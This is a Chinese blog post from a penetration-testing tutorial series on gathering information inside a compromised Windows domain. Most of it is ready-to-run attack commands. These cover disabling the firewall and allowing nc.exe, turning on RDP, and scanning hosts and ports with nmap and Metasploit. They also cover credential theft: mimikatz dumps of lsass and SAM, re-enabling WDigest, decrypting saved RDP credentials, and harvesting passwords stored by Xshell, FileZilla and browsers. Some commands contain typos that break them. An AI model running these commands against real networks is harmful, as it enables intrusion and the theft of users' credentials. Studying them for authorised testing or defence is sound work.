内网渗透(六)信息收集

这篇文章介绍内网渗透中的信息收集。

0x01 本机基础信息收集

查看当前用户、权限、域SID

whoami /all

查看网络配置信息

ipconfig /all

查看主机路由信息

route print

查看操作系统信息/补丁列表

systeminfo

查看端口和连接信息

netstat -ano

查看当前进程信息

tasklist

tasklist /svc wmic process list brief

wmic process get Name,ProcessId,ExecutablePath

wmic process where Name=”msedge.exe” get ExecutablePath

查看当前会话列表

net session

查看当前网络共享信息

net share

查看已连接的网络共享

net use

查看服务信息

wmic service get Caption,Name,PathName,StartName,State

查看计划任务信息

schtasks /query /v /fo list

查看主机开机时间

net statistics workstation

查看自启动程序信息

wmic startup get command,caption

wmic startup get Caption,Command,Location,User

查看系统补丁安装信息

wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn

查看系统应用安装信息

wmic product get Caption,Version

查看本地用户/组信息

net user

net user

查看本地管理员组

net localgroup administrators

查看当前登录的用户

query user

query user || qwinsta

防火墙相关

关闭防火墙

(1)、windows server 2003 及之前的版本,命令如下:

netsh firewall set opmode disable

(2)、windows server 2003之后的版本,命令如下:

netsh advfirewall set allprofiles state off

查看防火墙配置

netsh firewall show config

修改防火墙配置

(1)、windows server 2003及之前的版本,允许指定程序全部连接,命令如下:

1
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

(2)、windows server 2003之后的版本,命令如下:

1
netsh advfirewall firewall add rule name=”My Application” dir=in action=allow program=”c:\nc.exe” enable=yes

(3)、允许3389端口放行:

1
netsh advfirewall firewall add rule name=”remote desktop” protocol=TCP dir=in localport=3389 action=allow

查询并开启远程连接服务(3389端口)

(1)、在windows server 2003中开启3389端口

1
wmic path win32_terminalservicesetting where (_class !="") call setallowtsconnections 1

(2)、在windows server 2008 和windows server 2012中开启 3389端口

1
2
3
1、wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (_CLASS !="") call setallowtscoonections 1 
2、wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
3、red add "HKLM\SYSTEMCURRENT\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /f 0 /f

判断是否存在域

(1)、使用ipconfig命令,获取DNS域名后,再使用反向解析查询命令nslookup来解析域名的ip地址,用解析得到的IP地址进行对比,判断域控制器和DNS服务器是否再同一台服务器上

ipconfig /all

【假设获取的dns服务器域名为”hacker.lad”】

nsllokup hacker.lad

(2)、查看系统详细信息,“域”即域名,“登录服务器”为域控制器,如果“域”为“workgroup”。表示当前服务器不在域内。

systeminfo

(3)、查询当前登录域及登录用户信息

“工作站域DNS名称”为域名(如果为“WORKGROUP”,表示当前为非域环境),“登录域”用于表示当前登录的用户是域用户还是本地用户,此处表示当前登录的用户是本地用户。

net config workstation

(4)、判断主域

域服务器通常会同时作为时间服务器使用,我们可以使用以下命令来判断主域

net time /domain

net view /domain

执行以上命令,通常会有以下三种情况:

  • 存在域,但当前用户不是域用户;
  • 存在域,且当前用户是域用户;
  • 当前网络环境为工作组,不存在域。

0x02 域内信息收集

如果确定当前内网拥有域,且所控制的主机在域内,就可以进行域内相关信息的收集了,以下使用到的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时会进行权限认证,只有域用户才拥有此权限,本地用户无法运行以下介绍到的查询命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 判断是否存在域 
net config workstation
# 查看域用户信息
net user /domain
net user <username> /domain
wmic useraccount get Caption,Domain,Description
# 查看域用户组信息
net group /domain

net group "Domain Admins" /domain # 查看域管理用户
net group "Domain Computers" /domain # 查看域内所有的客户端主机

# 查看域内密码策略,执行以下命令,获取域密码策略、密码长度、错误锁定等信息
net accounts /domain

# 查看域控制器列表
net group "Domain Controllers" /domain
nltest /DCLIST:hackme.com

# 查看主域控制器
net time /domain
net view /domain
# 在域环境中,主域控制器会同时被用作时间服务器,使得域中所有计算机时间同步

# 定位域控制器
ping 域控.域名
ping DC-2012.uf9n1x.com
ping uf9n1x.com
# 除此之外,域控制器往往同时被作为DNS服务器,所以找到主机所使用的DNS服务器地址也可以定位域控

# 查看域信任关系
nltest /domain_trusts

0x03 域内资源探测

nishang-powerShell攻击框架

https://blog.csdn.net/weixin_40412037/article/details/115510209

发现存活主机

基于ICMP主机探测
使用循环ping命令进行探测

1
for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.1.%I |findstr "TTL="

基于NetBIOS(网络基本输入/输出系统)协议主机探测
NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。

1
nbtscan.exe 192.168.30.1/24

基于UDP主机探测

1
unicornscan -mU 192.168.30.1/24

基于ARP主机探测

1
arp-scan -t 192.168.30.1/24

基于smb主机探测
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139和445端口,目前倾向于使用445端口。

1
# 使用msf进行扫描 use scanner/smb/smb_version set rhosts 192.168.30.1/24 set threads 20 run

端口扫描

利用telnet探测端口

1
telnet <ip> <port>

使用nmap进行端口扫描

1
nmap -p 80,88,135,443,8080,3389 192.168.30.10 nmap -sS -p- 192.168.30.10

使用msf进行端口扫描

msf具有很多扫描的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 主机存活扫描 
auxiliary/scanner/netbios/nbname
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/smb/smb_version

# 端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/xmas

获取banner信息

使用netcat获取端口的banner

nc -nv 192.168.30.10 445

使用telnet获取banner

telnet 192.168.30.10 445

使用nmap获取banner

1
nmap --script=banner -p <Ports> <IP>

0x04 凭证收集

获取域内单机密码和哈希值

在Windows中,SAM文件是Windows用户的账户数据库,位于%SystemRoot\System32\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码被转换成哈希值,然后与SAM文件中的哈希值进行对比,若相同,则认证成功。

lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全啊和登录策略。在通常情况下,用户输入密码登录后,登陆的域名、用户名和登录凭证等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigets和Tspkg模块调用后,会对其使用可逆的算法加密并存储在内存中。

用来获取主机的用户名和哈希值的工具有很多,这些工具大多是通过读取SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多需要管理员的权限,这意味需要配合提权的操作。

Mimikatz是一款功能强大的凭据转储开源程序,可以帮助进行提升进程权限、注入进程、读取进程内存等。

在线读取lsass进程内存

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

离线读取lsass内存文件

除了在线读取,也可以直接将lsass.exe的进程内存转储,讲内存文件导出到本地后,使用mimikatz进行离线读取。

使用Procdump工具把lsass的进程内存dump出来:

1
procdump -accepteula -ma lsass.exe lsass.dmp

离线读取

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

为了防止用户的明文密码泄露,微软在2014年发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows server 2012及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能,当用户注销或者重新登录后,可以重新获取到用户的明文密码

1
2
3
4
# 开启WDigest 
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

在线读取本地SAM文件

1
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

离线读取本地SAM文件
为了提高SAM文件的安全性,Windows会对SAM文件使用密钥加密,这个密钥会存储在SYSTEM文件中,与SAM文件位于相同目录下。因此,需要在目标主机上先导出这两个文件。

1
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

获取常见应用软件的凭据

RDP

为了避免每次连接服务器都进行身份认证,经常使用RDP的用户可能勾选保存连接凭据,以便进行快速的身份验证。这些凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中,路径为**%USERPROFILE%\AppData\Local\Microsoft\Credentials**

1
2
3
cmdkey /list    # 查看当前保存的凭据 
# 遍历Credentials目录下保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*

Credentials目录下保存的凭据是加密的,可以尝试使用Mimikatz导出和解密。

1、首先解析连接凭据

1
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D" exit

解析得到的pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID。

2、找到与guidMasterKey(GUID)相关联的MasterKey,这个Masterkey就是加密凭据所使用的密钥

1
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

3、使用MasterKey值破解指定凭据文件,获得明文RDP凭据

1
mimikatz.exe "dpapi::cre /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D/masterkey:xxxxxxxxxxxxxxxxxxxx" exit

Xshell

Xshell会将服务器连接信息保存在Session目录下的.xsh文件中,如果用户在连接时勾选了“记住用户名/密码”,该文件会保存服务器连接时的用户名和加密后的密码

1
2
3
4
5
6
# Xshell 5 
%USERPROFILE%\Documents\NetSarang\XShell\Sessions
# Xshell 6
%USERPROFILE%\Documents\NetSarang Computer\6\XShell\Sessions
# Xshell 7
%USERPROFILE%\Documents\NetSarang Computer\7\XShell\Sessions

Xshell7之前版本,可以直接通过SharpDecryptPwd工具进行解密,包括Navicat、TeamViewer、FileZilla、Winscp和Xmangager系列产品。

Xshell7之后的版本可以使用星号查看器直接查看密码

FileXilla

1
FileXilla将所有FTP登陆凭证以base64编码后的格式存储在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml中,这是一个xml文件,其中的<User>节点是用户名,<Pass>节点是base64后的密码

浏览器保存的登录凭证

使用HackBrowserData可以直接从浏览器解密数据,包括用户登录密码、书签、Cookie、历史记录、银行卡、下载链接等。

Lazgne(全平台)

https://github.com/AlessandroZ/LaZagne/releases/tag/v2.4.5

全平台支持,不过免杀基本等于没有,一般没有system权限,抓不到啥东西,windows使用,直接在目标机器运行.exe文件即可。常规用法如下:

https://blog.csdn.net/qq_63844103/article/details/128137528?ops_request_misc=&request_id=&biz_id=102&utm_term=Lazgne&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-128137528.nonecase&spm=1018.2226.3001.4187

https://blog.csdn.net/weixin_41489908/article/details/112987037?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-1-112987037-blog-104926171.235%5Ev29%5Epc_relevant_default_base3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-1-112987037-blog-104926171.235%5Ev29%5Epc_relevant_default_base3&utm_relevant_index=2

Xenarmor(win)

收费工具,功能强大,图形化界面,直接使用即可。

文章作者: uf9n1x
文章链接: https://uf9n1x.top/2023/04/17/nei-wang-shen-tou-liu-xin-xi-shou-ji/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Uf9n1x's Blog